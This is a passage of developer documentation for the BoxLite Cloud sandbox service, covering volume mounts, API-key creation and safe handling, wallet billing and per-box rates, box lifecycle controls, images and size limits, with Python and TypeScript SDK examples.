supporting thin allocation / snapshots / a shared base image | Persistent storage, sharing a base disk across boxes | Source `src/boxlite/src/volumes/`. ### Mounting a Volume from the SDK (key: the third element is a boolean read\_only) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import tempfile import boxlite async def main(): with tempfile.TemporaryDirectory() as host_dir: with open(os.path.join(host_dir, "data.txt"), "w") as f: f.write("shared\n") try: async with boxlite.SimpleBox( image="alpine:latest", volumes=[ # 2-tuple: read-write by default (host_dir, "/rw"), # 3-tuple: the third element is a bool read_only. True = read-only (host_dir, "/ro", True), ], ) as box: # /rw is writable await box.exec("sh", "-c", "echo hi > /rw/new.txt") # /ro is read-only: the write fails (non-zero exit code; note exec does not raise) r = await box.exec("sh", "-c", "echo x > /ro/blocked.txt") print("write to /ro exit:", r.exit_code) # non-zero except RuntimeError as e: print("failed:", e) if __name__ == "__main__": asyncio.run(main()) ``` > **Do not** write `(host_dir, "/ro", "ro")`. At the SDK layer the third element is a `bool`; passing a string raises `TypeError`. The `"ro"`/`"rw"` string syntax belongs only to the **CLI**'s `-v host:box:ro` and differs from the SDK API. *** ## Related pages * [Volumes and mounts](/manage-sandbox/volumes) — the parameters and how to use them * [Networking](/architecture/networking) — the network stack behind a box * [Boot latency](/architecture/boot-latency) — why the first start pays the image-pull cost # API keys and authentication Source: https://docs.boxlite.ai/cloud/api-keys Create a BoxLite Cloud API key, hand it to the SDK, CLI, or curl through the environment, and rotate it without downtime. Every call to BoxLite Cloud carries one credential: an API key you create in the console and send as a bearer token. There is no local runtime to fall back on and no permissive mode — a request without a valid key does not create a box. ## What a key grants A key gives its holder access to the Boxes API, which the console states as: *this key can create and manage Boxes. Shared Linux base images are available automatically.* That means the holder can create, start, inspect, and remove boxes on your account, and pull the shared Linux base images without any extra image setup. Treat a key as a fleet-level credential, not a read-only token. Anyone who has it can spend your account's capacity. | Property | Value | | - | - | | Format | `blk_live_...` | | Transport | `Authorization: Bearer ` | | Permissions | `Boxes` | | Expiry | Set when you create the key; the default is `No expiration` | ## Create a key in the console Sign in to the console at `https://app.boxlite.ai`, open **API Keys**, and click **Create Key**. The dialog asks for two things: | Field | Required | Notes | | - | - | - | | **Key Name** | Yes | How you will recognize the key in the list — use the environment or service that will hold it, such as `ci-pull-requests`. | | **Expires** | No | An optional expiration date. Defaults to `No expiration`. | The full key is shown once, at creation. **Copy it before you close the dialog** — from then on the list view shows only a masked form such as `blk_live_********************UHK`. The list view gives you one row per key with these columns: | Column | What it tells you | | - | - | | **NAME** | The name you chose. | | **KEY** | The masked key, enough to match a key against a value you hold. | | **PERMISSIONS** | The API surface the key can reach — `Boxes`. | | **CREATED** | When the key was issued. | | **LAST USED** | The signal to check before you delete a key: a key with no recent use is safe to remove. | | **EXPIRES** | The expiration date, or nothing when the key does not expire. | ## Give the key to your code BoxLite Cloud reads two environment variables. Both the SDKs and the CLI use the same names, so one export pair serves all of them: | Variable | Required | Value | | - | - | - | | `BOXLITE_API_KEY` | Yes | Your `blk_live_...` key. | | `BOXLITE_REST_URL` | Yes | `https://api.boxlite.ai` | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} read -rs BOXLITE_API_KEY # prompts without echoing; nothing lands in shell history export BOXLITE_API_KEY export BOXLITE_REST_URL="https://api.boxlite.ai" ``` Read the key from the environment at runtime and pass it as an `ApiKeyCredential`. The snippets below construct a client and list your boxes, which is the cheapest way to prove a credential works. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # check_credentials.py — prove the key in your environment reaches Cloud # Run: python check_credentials.py import asyncio import os from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions api_key = os.environ.get("BOXLITE_API_KEY") if not api_key: raise SystemExit("Set BOXLITE_API_KEY to your blk_live_... key before running this.") async def main() -> None: rt = Boxlite.rest( BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), ) ) try: boxes = await rt.list_info() print(f"Credential accepted. Boxes visible to this key: {len(boxes)}") for info in boxes: print(f" - {info.id} name={info.name} status={info.state.status}") except Exception as exc: # A rejected key surfaces here as an HTTP 401 print(f"Credential check failed: {exc!r}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // check-credentials.ts — prove the key in your environment reaches Cloud // Run: npx tsx check-credentials.ts import { JsBoxlite, BoxliteRestOptions, ApiKeyCredential } from "@boxlite-ai/boxlite"; async function main(): Promise { const apiKey = process.env.BOXLITE_API_KEY; if (!apiKey) { throw new Error("Set BOXLITE_API_KEY to your blk_live_... key before running this."); } // The runtime class is JsBoxlite; there is no bare Boxlite export const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(apiKey), }), ); try { const boxes = await rt.listInfo(); console.log(`Credential accepted. Boxes visible to this key: ${boxes.length}`); for (const info of boxes) { console.log(` - ${info.id} name=${info.name} status=${info.state.status}`); } } catch (err) { // A rejected key surfaces here as an HTTP 401 console.error("Credential check failed:", err instanceof Error ? err.message : err); } finally { rt.close(); // synchronous } } main(); ``` ### Load the whole configuration from the environment `BoxliteRestOptions.from_env()` builds the options object for you, wrapping `BOXLITE_API_KEY` into an `ApiKeyCredential` automatically. It is the shortest correct form for CI jobs and services, where the credential is injected by the platform rather than typed by a person. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # from_env_check.py — let the SDK read BOXLITE_REST_URL and BOXLITE_API_KEY for you import asyncio from boxlite import Boxlite, BoxliteRestOptions async def main() -> None: try: opts = BoxliteRestOptions.from_env() except Exception as exc: # Raised when BOXLITE_REST_URL is unset print(f"Missing configuration: {exc!r}") print("Set BOXLITE_REST_URL and BOXLITE_API_KEY, then run this again.") return rt = Boxlite.rest(opts) try: boxes = await rt.list_info() print(f"Credential accepted. Boxes visible to this key: {len(boxes)}") except Exception as exc: print(f"Credential check failed: {exc!r}") if __name__ == "__main__": asyncio.run(main()) ``` For the full list of variables `from_env()` reads, see [Manage remote sandboxes over REST](/guides/agent-service-endpoint). One of them, `BOXLITE_REST_PATH_PREFIX`, exists for self-hosted control planes — leave it unset for Cloud, and see the `path_prefix` row under [Troubleshooting](#troubleshooting) below. ## Persist credentials for the CLI Exports live and die with a shell. `boxlite auth login` writes the credential to a profile in `~/.boxlite/credentials.toml` instead, so every later `boxlite` command in every shell finds it. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Read the key without echoing it, then hand it to the CLI over stdin so it # never appears in argv or in your shell history read -rs BOXLITE_API_KEY printf '%s' "$BOXLITE_API_KEY" | boxlite auth login \ --url https://api.boxlite.ai --api-key-stdin boxlite auth status # what is stored locally, no network call boxlite auth whoami # confirm the identity the service sees, via GET /v1/me boxlite auth logout # delete the stored credential ``` Profiles let one machine hold several identities. Each profile stores its own URL, bearer, and route prefix; `--profile ` or `BOXLITE_PROFILE` selects one, and the default profile is named `default`. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Store a second identity, then use it for one command printf '%s' "$STAGING_KEY" | boxlite auth login --profile staging \ --url https://api.boxlite.ai --api-key-stdin boxlite --profile staging ps ``` One interaction is worth knowing before it surprises you: `BOXLITE_API_KEY` in the environment overrides **only** the bearer from the stored profile, not the profile's URL or route prefix. A stale export can therefore send the wrong key to the right service. For the complete flag table, see [`boxlite auth`](/reference/cli#boxlite-auth). ## Handle keys safely * **Never commit a key, and never put it in argv.** Both source control and shell history are searchable forever. Read the key with `read -rs` and pass it through the environment or over stdin, as the snippets above do. * **Use one key per environment.** Separate keys for local development, CI, and production mean the **LAST USED** column tells you something, and a leak from CI does not force you to re-credential your laptop. * **Set an expiry when the key has a known lifetime.** A key issued for a two-week migration should stop working in two weeks, not in two years. * **Rotate by creating first, deleting second.** Create the replacement key, deploy it everywhere the old key was used, confirm traffic on the new key, and only then delete the old one. Deleting first means every box the old key manages goes unreachable until the new key lands. * **Give agents the narrowest key you can.** A key holder can create and remove boxes on your account, so an agent that only needs one box still gets a key that could remove them all — keep that key on your infrastructure and out of any prompt or model context. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `401 Unauthorized` on every call | The key is missing from the request, mistyped, or was deleted in the console. | Confirm the value starts with `blk_live_` and that its masked form matches a live row in **API Keys**. Cloud has no permissive mode, so there is no configuration that makes an unauthenticated request succeed. | | `SystemExit: Set BOXLITE_API_KEY ...`, or the CLI runs against your local runtime | The process did not inherit the export — a new shell, a cron job, or a service manager with its own environment. | Export both variables in the process that actually runs, or store the credential with `boxlite auth login` so it does not depend on the shell. | | An HTML page comes back instead of a box payload, with a `200` status | The base URL points at the console host `https://app.boxlite.ai`. The console serves the dashboard page on paths it does not recognise, so a wrong base URL does not fail loudly — it returns markup your client cannot parse. | Set `BOXLITE_REST_URL` to exactly `https://api.boxlite.ai`. That is the API host; `app.boxlite.ai` is the console you sign in to. | | Calls that worked before start returning `401` | The key passed the date in its **EXPIRES** column. | Create a replacement key, update the environment, then delete the expired row. | | `RuntimeError('box not found: {"detail":"Not Found"}')` while the key is valid | A `path_prefix` is being sent. Cloud serves `/v1/boxes` directly; the route prefix belongs to the open-source reference server, which mounts routes under `/v1/{prefix}/boxes`. | Drop `path_prefix` from `BoxliteRestOptions`, unset `BOXLITE_REST_PATH_PREFIX`, and drop `--path-prefix` from CLI invocations. See [BoxLite Cloud vs open source](/cloud/vs-opensource). | | `boxlite auth whoami` fails while `boxlite auth status` looks correct | `status` reads local state only; `whoami` calls `GET /v1/me`. A stored credential can be well-formed and still be rejected. | Log in again with the current key, and check whether a stale `BOXLITE_API_KEY` export is overriding the profile's bearer. | ## Next steps Use the key you just created to run your first command inside a Cloud box. Pick an image and a size, and learn the lifecycle controls Cloud applies while a box runs. # Managing billing Source: https://docs.boxlite.ai/cloud/billing Fund your wallet, set automatic reload so boxes never stop for lack of balance, read what you have actually been charged, and know the per-box ceilings that apply to every box in your organization. This page covers running the account. For what a box costs see [What a box costs](/cloud/box-costs); for whether to subscribe see [Wallet or a plan?](/cloud/plans). Your **wallet** is a prepaid balance. It funds usage once a plan's included quota is consumed, and it funds everything if you have no plan. ## The wallet The **Wallet** tab shows your available balance and what you have spent this month. The figure shown as **available** is your *ongoing* balance: it already reflects usage accrued this cycle but not yet settled. That is why it drifts downward while boxes run, with no payment having been taken. ### Add funds Click **Top up** and pick a preset amount — **$25**, **$500**, **$1,000**, or **$2,000** — or enter a custom amount. The console redirects you to Stripe to complete the payment. ### Set automatic reload Manual top-ups are why wallets hit zero at 3am. Automatic reload watches the balance and refills it: set a **threshold** to drop below and a **target** to be refilled to, and the console reads the result back as `Below $20.00 → $100.00`. It prefills $20 and $100. Reload stays off until you save it, and it charges your connected card — so attach one first. ### Connect a payment method Until a card is attached the console shows the payment method as not connected, with a **Connect** button beside it. Connecting one earns an additional **\$100 of credits**. ### Redeem a coupon **Redeem coupon** takes a coupon code and credits the account. Credits are tracked separately from your topped-up balance, so the console shows credits remaining against credits granted. ## Read the usage chart The **Usage** tab answers "where is my money going" with settled cost by day for the last 30 days, as either a chart or a list. It splits cost into two series: | Series | What it represents | | - | - | | **Quota-covered** | Cost your plan's included quota absorbed | | **From wallet** | Cost your prepaid wallet balance paid for | The moment worth watching is when the second series starts growing: that is where this cycle's quota ran out and your boxes began drawing on money you topped up. This tab is the authority on what you were actually charged — the hourly figures in the **New Box** dialog and on [What a box costs](/cloud/box-costs) are estimates. **Check it before you scale a workload up:** see what a typical day already costs, then multiply by the fan-out you are about to add. ## Per-box resource ceilings **Billing** also publishes the ceilings that apply to every box in your organization: | Resource | Ceiling per box | | - | - | | Compute | 4 vCPU | | Memory | 32 GiB | | Storage | 120 GiB | These bound how large a **single box** can be — a different constraint from your plan's concurrency limit, which bounds how many boxes run at once. A request above a ceiling is rejected before the box is created, so you get a clear error rather than a box that fails later. See [Choose a size](/cloud/box-sizes) for the presets and custom fields available within them. If a workload genuinely needs a larger single box, that is an Enterprise conversation — custom limits go through [sales@boxlite.ai](mailto:sales@boxlite.ai). ## Troubleshooting | Situation | Why it happens | What to do | | - | - | - | | Wallet balance has reached zero and your quota is consumed | There is nothing left to fund usage this cycle | Top up on the **Wallet** tab, or redeem a coupon code | | Boxes stopped and the console reports credits depleted | Nothing remains to fund them, so the platform stops boxes rather than running up an unfunded bill | Top up, then set automatic reload so it does not recur | | Automatic reload is configured but never fires | Reload needs a card to charge, and no payment method is connected | Connect a card on the **Wallet** tab | | The available balance drops while you have taken no payment | The figure is the ongoing balance, which already includes usage accrued but not yet settled | Nothing is wrong. Compare against the **Usage** tab for settled cost | | The payment method shows as not connected | No card is attached to the account | Click **Connect** on the **Wallet** tab. Connecting one also earns \$100 of credits | | A box request asks for more CPU, memory, or disk than allowed | It exceeds a per-box ceiling for the organization | Lower the request, or spread the work across several boxes within your concurrency limit | | Cost is higher than expected with no obvious cause | Stopped boxes are still billed for their disk until they are deleted | Delete boxes you have finished with. See [What each box state costs](/cloud/box-costs#what-each-box-state-costs) | ## Next steps Rates, worked examples, and the two controls that cap what you keep paying. The usage level at which a subscription starts costing less. # What a box costs Source: https://docs.boxlite.ai/cloud/box-costs The three metered rates, the formula they combine into, what the standard sizes come to per hour and per month, and exactly which hours are counted. A box rents three things by the hour: vCPU, memory, and disk. This page turns those rates into the numbers you can plan against. ## Rates | Resource | Unit | Rate | | - | - | - | | vCPU | per vCPU-hour | **\$0.0504** | | Memory | per GiB-hour | **\$0.0144** | | Disk | per GiB-hour | **\$0.00018** | A box's hourly price is the plain sum, with no tiers and no rounding: ``` hourly = vCPU × $0.0504 + memory_GiB × $0.0144 + disk_GiB × $0.00018 ``` Nothing else is metered. There is no charge for network traffic, API requests, mounted volumes, preview URLs, or the time a box spends booting. ## What the standard sizes cost The three sizes in the **New Box** dialog, plus the largest box your organization can request: | Size | vCPU / memory / disk | Per hour | 30 days running | 30 days stopped | | - | - | - | - | - | | **Small** | 1 / 1 GiB / 10 GiB | \$0.0666 | \$47.95 | \$1.30 | | **Medium** | 2 / 4 GiB / 20 GiB | \$0.1620 | \$116.64 | \$2.59 | | **Large** | 4 / 8 GiB / 50 GiB | \$0.3258 | \$234.58 | \$6.48 | | Organization ceiling | 4 / 32 GiB / 120 GiB | \$0.6840 | \$492.48 | \$15.55 | Two readings of that table matter. **Per invocation, boxes are almost free.** A 30-second code-interpreter run on a Small box costs $0.00056 — ten thousand of them come to $5.55. Per-run cost is not where Cloud bills get large. **Per month left running, they are not.** The gap between the last two columns is the whole cost story, and the next section is why it exists. [Cost controls](/cloud/cost-controls) is how you close it. To make a box cheaper, cut vCPU first: one vCPU-hour costs as much as **3.5 GiB-hours of memory** or **280 GiB-hours of disk**. Trimming disk is not worth the thought — it is 2–3% of a running box. ## What each box state costs | Box state | vCPU | Memory | Disk | | - | - | - | - | | **Running** | charged | charged | charged | | **Stopped** | — | — | **charged** | | Creating or starting | — | — | — | | **Deleted** | — | — | — | A stopped box has given back its compute but still occupies its disk, and it is billed for that disk until the box is deleted. One forgotten box is loose change. A hundred of them is $130–$650 a month for nothing, and nothing clears them for you. ### How the hours are counted Compute and disk are charged over different intervals. The two clocks start together and stop at different moments: | Moment | vCPU + memory | Disk | | - | - | - | | Box created but never started | not charged | not charged | | Box reaches **running** | clock starts | clock starts | | You **request a stop** | **clock stops** | keeps running | | Box is stopped, however long | not charged | keeps running | | You **request deletion** | not charged | **clock stops** | Two of those moments are earlier than you might expect, and both are in your favor: * **Compute stops billing when the stop is requested**, not when the box has finished shutting down. You do not pay vCPU or memory for the shutdown itself. * **Disk stops billing when deletion is requested**, not when teardown completes. There is **no minimum billable duration and no rounding up to a whole hour**. The platform records the exact moment of each transition, so a box that runs for four minutes is charged for four minutes at the hourly rate. A box you create and never start costs nothing at all. ## Estimates and settlement The **New Box** dialog quotes what your chosen size costs to run for one hour. Treat it as an estimate — your actual charge is settled from recorded usage, and the **Usage** tab is the authority on what you were charged. See [Managing billing](/cloud/billing#read-the-usage-chart). ## Troubleshooting | Situation | Why it happens | What to do | | - | - | - | | A box you stopped days ago is still adding to your bill | A stopped box keeps its disk and is charged for it until deleted | Delete it, or set `auto_delete` so it clears itself. See [Cost controls](/cloud/cost-controls) | | Cost is far higher than the size suggests | Something keeps the box busy, so it never goes idle and `auto_stop` never fires. A busy box is not an idle box | Check what is running inside it, or stop the box explicitly when the work finishes | | Creation fails with `auto_delete must be greater than auto_stop` | Both are non-zero but `auto_delete` is not larger | Raise `auto_delete` above `auto_stop`, or set `auto_delete=0` to disable deletion | | A request for more than 4 vCPU, 32 GiB of memory, or 120 GiB of disk is rejected | Those are per-box ceilings for the whole organization, enforced before the box is created | Lower the request or split the work across boxes. See [Per-box resource ceilings](/cloud/billing#per-box-resource-ceilings) | ## Next steps The two lifecycle controls that stop a finished box from charging you. The usage level at which a subscription starts costing less. # Create, reuse, and remove a box from code Source: https://docs.boxlite.ai/cloud/box-from-code The full create-start-use-remove cycle over REST, reusing a box by name, managing one from the console, and passing environment variables. One runnable script for the whole cycle, plus the two things people get wrong: reusing a box by name, and tearing it down when an exception fires. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). ## Create, reuse, and remove a box from code Name your box. The name is how a second process — a worker, a retry, tomorrow's cron job — finds the same box instead of building a new one. `name` is a parameter of `rt.create(...)`, not a field of `BoxOptions`. Passing `name=` inside `BoxOptions` fails at construction. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions BOX_NAME = "nightly-report-runner" async def main() -> None: box_id = None rt = None try: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box = await rt.create( BoxOptions(image="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"), name=BOX_NAME, ) box_id = box.id await box.start() # REST boxes take command arguments as a list execution = await box.exec("sh", args=["-c", "echo report ready"]) output = "" async for line in execution.stdout(): output += line result = await execution.wait() print(f"exit code: {result.exit_code}") print(output) # any process holding your API key can pick the same box up by name again = await rt.get(BOX_NAME) if again is None: raise RuntimeError(f"box {BOX_NAME} not found") print(f"reused box: {again.id}") except Exception as exc: print(f"cloud box failed: {type(exc).__name__}: {exc}") finally: # remove is called on the runtime, so this script can be run again with the same name if rt is not None and box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Three shapes to keep in mind on Cloud: * `Boxlite.rest(...)` is constructed synchronously; `create`, `start`, `exec`, and `remove` are all awaited. * `box.exec("echo", args=["hi"])` takes its arguments as a list. * Teardown is `await rt.remove(box.id, force=True)` on the runtime. `rt.get_or_create(...)` creates a box or reuses an existing one with the same name in a single call. For the state model behind create, start, stop, and remove — and for the signatures of the runtime methods — see [Lifecycle](/manage-sandbox/lifecycle). ## Manage a box from the console The **Boxes** list is the management surface for a box, so you do not need your own tooling to see what you are running. Each row shows the box name, its id, and its status, and carries two actions: | Action | What it does | | - | - | | **Stop** | Stops a running box, keeping its disk | | **More** → **Delete** | Removes the box, after a confirmation that warns the action cannot be undone | BoxLite generates a name for a box you create in the console — a two-word pair such as `golden-lynx` — and a short mixed-case id such as `9z8vat0excp9`. When you create a box from code you pass your own name, which is what makes a box findable later. Use the list to catch boxes a crashed script left behind. Filter by name, check which are still `RUNNING`, and stop or delete them. ## Environment variables and secrets `BoxOptions` accepts `env` for plain configuration and `secrets` for values that should not sit in your box's environment or logs. Their shapes differ between Python and Node, and secrets carry extra options such as host scoping, so use the pages that own those tables: [Environment and startup](/manage-sandbox/environment) and [Inject secrets and harden a box](/manage-sandbox/secrets-and-security). Keep your BoxLite API key out of both. It belongs in the environment of the process that calls `Boxlite.rest(...)`, not inside the box. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `BoxOptions(name="my-box")` fails with a no-such-field error | `name` belongs to the create call | Use `await rt.create(BoxOptions(...), name="my-box")` | | `box.exec("sh", "-c", "echo hi")` fails on Cloud | REST boxes take arguments as a list | Use `box.exec("sh", args=["-c", "echo hi"])` | | `await box.remove()` raises an attribute error | Removal happens on the runtime | Use `await rt.remove(box.id, force=True)` | | A box is still billing after your script crashed | The script died before its cleanup ran | Open the **Boxes** list and stop or delete the leftovers, or list them from code with `await rt.list_info()` and remove each with `await rt.remove(box_id, force=True)`. Setting **Delete after stopping** on future boxes lets the platform reclaim them for you | ## Next steps Everything else about configuring a box on Cloud. # Choose an image for a Cloud box Source: https://docs.boxlite.ai/cloud/box-images The three images the console offers, what an image reference looks like from code, and which one to start from. A box starts from an image. Pick the one that already has your runtime rather than installing it on every start. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). ## Choose an image The **New Box** dialog offers three images: | Console option | Use it for | | - | - | | **Base** | A general-purpose Linux box you install into yourself | | **Python** | Python workloads without a build step | | **Node.js** | Node workloads without a build step | From code you pass an image reference instead. The official SDK examples use `ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0`, and that is the image to start from when you have no reason to pick another: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions async def main() -> None: box_id = None rt = None try: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box = await rt.create( BoxOptions(image="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"), name=f"image-check-{int(time.time())}", ) box_id = box.id await box.start() execution = await box.exec("cat", args=["/etc/os-release"]) output = "" async for line in execution.stdout(): output += line result = await execution.wait() print(f"exit code: {result.exit_code}") print(output) except Exception as exc: print(f"box failed: {type(exc).__name__}: {exc}") finally: if rt is not None and box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` An API key carries the `Boxes` permission, and the console describes what that includes: > Boxes API access — This key can create and manage Boxes. Shared Linux base images are available automatically. So you do not stage or pull a base image before your first `create`. Image operations such as pulling are not supported over the REST runtime — see [Cloud vs open source](/cloud/vs-opensource). ## Next steps Everything else about configuring a box on Cloud. # Box lifecycle on Cloud Source: https://docs.boxlite.ai/cloud/box-lifecycle The three controls that decide when a Cloud box stops, whether it wakes again, and when it is deleted — and the idle rule that can end a job you thought was safe. A Cloud box does not run until you stop it. The platform stops it when it looks idle, wakes it when you reach for it, and can delete it once it has been stopped for a while. These three controls are the most consequential settings on a box. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). ## Lifecycle on Cloud Three controls in the **New Box** dialog govern how long your box lives. They behave differently from a box you run yourself, and the first one can end a job you thought was safe. | Control | Choices | Default | | - | - | - | | **Stop when idle** | `Never`, `5 min`, `15 min`, `30 min`, `1 hour`, `4 hours`, or a custom value | `15 min` | | **Wake on access** | A switch | On | | **Delete after stopping** | A delay, or `Never` to keep the box | `Never` | Set them in the console when you create a box there, or from code with three `BoxOptions` fields: | Field | Type | Meaning | | - | - | - | | `auto_stop` | `int` (seconds) | Idle time before the box is stopped. `0` disables it | | `auto_delete` | `int` (seconds) | Time spent stopped before the box is deleted. `0` disables it | | `auto_resume` | `bool` | Whether an incoming operation resumes the box after an auto-stop | Two rules to know before you set them: * **`auto_delete` must be greater than `auto_stop`** when both are non-zero. Otherwise creation fails with `auto_delete must be greater than auto_stop`, because a box that deletes itself before it stops has no reachable state. * **The defaults come from the platform, not from the SDK.** Omit these fields and the SDK leaves them out of the request entirely, so the platform applies its own defaults: `auto_stop=900` (15 idle minutes), `auto_delete=0` (never), and `auto_resume=true`. A box created from code therefore behaves like one created in the console — **it will stop itself after 15 idle minutes whether you asked for that or not.** The console's `15 min` corresponds to `auto_stop=900`, which is the same value a box created from code receives by default. To keep a box running through unattended work, you must pass `auto_stop` explicitly — see [Stop when idle](#stop-when-idle). The field names matter: `idle_timeout`, `stop_when_idle`, `wake_on_access`, `delete_after_stopping`, and `auto_pause` are not fields of `BoxOptions` and each fails construction with a no-such-field error. ## Stop when idle Idleness is measured at the boundary of the box, not inside it. The console is explicit: > Idle means no SDK, terminal or preview traffic. Work running inside the box does not count — a long job can be stopped mid-run. That is the single most important sentence on this page. A 40-minute build that you kick off and then stop talking to looks idle from the outside, and the platform stops it at 15 minutes with the build half-finished. Two ways to keep a long job alive: * **Keep touching the box from your client.** Poll the job while it runs — read its progress file or check its process — so real SDK traffic keeps arriving. * **Raise the idle timeout, or disable it.** In the console, pick a longer value or `Never`; from code, pass a larger `auto_stop` or `auto_stop=0`. Disabling it is the right choice for a box whose whole purpose is unattended work — and the one that makes you responsible for tearing it down. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio async def run_long_job(box) -> int: """Start a long job, then poll it so the box keeps seeing SDK traffic.""" starter = await box.exec("sh", args=["-c", "nohup ./build.sh > /tmp/build.log 2>&1 & echo started"]) await starter.wait() while True: # each exec is SDK traffic, so the box does not look idle probe = await box.exec("sh", args=["-c", "pgrep -f build.sh > /dev/null && echo running || echo done"]) state = "" async for line in probe.stdout(): state += line await probe.wait() if "done" in state: break await asyncio.sleep(60) tail = await box.exec("tail", args=["-n", "20", "/tmp/build.log"]) async for line in tail.stdout(): print(line, end="") result = await tail.wait() return result.exit_code ``` Pass this helper a box you already created and started, using the pattern in [Create, reuse, and remove a box from code](/cloud/box-from-code). Choose a poll interval comfortably shorter than the box's idle timeout. ## Wake on access Resume is on by default — the console switch starts on, and `auto_resume` defaults to `true` over the API. With it enabled, a stopped box comes back on its own when you reach for it: > SDK exec, file operations and terminal attach wake a stopped box. Preview URL traffic keeps a running box alive but cannot wake a stopped one. This is what makes a named Cloud box feel durable: your script calls `exec` after a weekend, the box restarts with its disk intact, and your code carries on. Enable it for any box you intend to reuse. Leave it off when a stop should be final until you intervene. ## Delete after stopping **Delete after stopping** defaults to `Never`, so a stopped box keeps its disk and stays addressable by name. Set a delay when you want the platform to reclaim throwaway boxes for you instead of remembering to call `remove` yourself. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | A long job dies partway through, around the 15-minute mark | **Stop when idle** counts only SDK, terminal, and preview traffic. Work inside the box does not count, so the platform stopped the box mid-run | Poll the box from your client while the job runs, or raise or disable the idle timeout for that box in the console | | `exec` against a stopped box fails instead of restarting it | Resume was switched off for that box. It is on by default in both the console and over the API, so this only happens if it was turned off at creation | Recreate the box with **Wake on access** left on, or `auto_resume=True` from code — that is what lets SDK exec, file operations, and terminal attach bring a stopped box back | | `BoxOptions(idle_timeout=3600)` or `BoxOptions(auto_pause=True)` fails with a no-such-field error | Those are not the field names | Use `auto_stop`, `auto_delete`, and `auto_resume` — see [Lifecycle on Cloud](/cloud/box-lifecycle) | | Creation fails with `auto_delete must be greater than auto_stop` | `auto_delete` is non-zero but not larger than `auto_stop` | Raise `auto_delete` above `auto_stop`, or set `auto_delete=0` to disable deletion | | A box created from code stopped in the middle of unattended work | Omitting `auto_stop` does not disable it — the platform applies its `900` second default, and work inside the box does not count as activity | Pass `auto_stop=0` to disable auto-stop, or a value longer than the job. See [Stop when idle](#stop-when-idle) | | A box you expected to keep running was gone or stopped after 15 minutes | Same cause: `auto_stop` defaults to `900`, not to `0` | Set `auto_stop` explicitly for any box doing unattended work | | A box you expected to reuse is gone | Its **Delete after stopping** delay elapsed after an idle stop | Create the replacement with **Delete after stopping** set to `Never`, and put anything you must keep on a volume — see [Volumes on Cloud](/cloud/volumes) | ## Next steps Everything else about configuring a box on Cloud. # Choose a size for a Cloud box Source: https://docs.boxlite.ai/cloud/box-sizes The three preset sizes, the per-organization ceilings that bound any single box, and the SDK fields that set them. Size is vCPU, memory, and disk. Pick the smallest preset that runs your workload comfortably — it is what you pay for by the hour. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). ## Choose a size The console offers three presets and a custom option: | Size | vCPU | Memory | Disk | | - | - | - | - | | **Small** | 1 | 1 GiB | 10 GiB | | **Medium** | 2 | 4 GiB | 20 GiB | | **Large** | 4 | 8 GiB | 50 GiB | | **Custom** | Your value | Your value, in GiB | Your value, in GiB | Pick **Small** for shell work and short scripts, **Medium** for test suites and dependency installs, **Large** for builds and anything that keeps several processes hot. ## Per-organization ceilings **Custom** is bounded. Your organization has one ceiling per box: | Resource | Ceiling per box | | - | - | | Compute | 4 vCPU | | Memory | 32 GiB | | Storage | 120 GiB | The console shows these under **Box limits** on the Billing page, with the reason: > Limits mitigate misuse and keep box and compute capacity fairly available across all users. Read your current ceilings in [Managing billing](/cloud/billing#per-box-resource-ceilings). Split a workload that wants more than one box can hold across several boxes rather than trying to raise a single box past the ceiling. ## The SDK's sizing fields `BoxOptions` accepts `cpus`, `memory_mib`, and `disk_size_gb`. Their types, units, and general behavior live in [Compute resources](/manage-sandbox/compute-resources) — the console sizes above are the verified way to size a Cloud box, so set the size in the console when you want a specific shape. The disk field is named `disk_size_gb`. `disk_gib` is a common guess and fails at construction with a 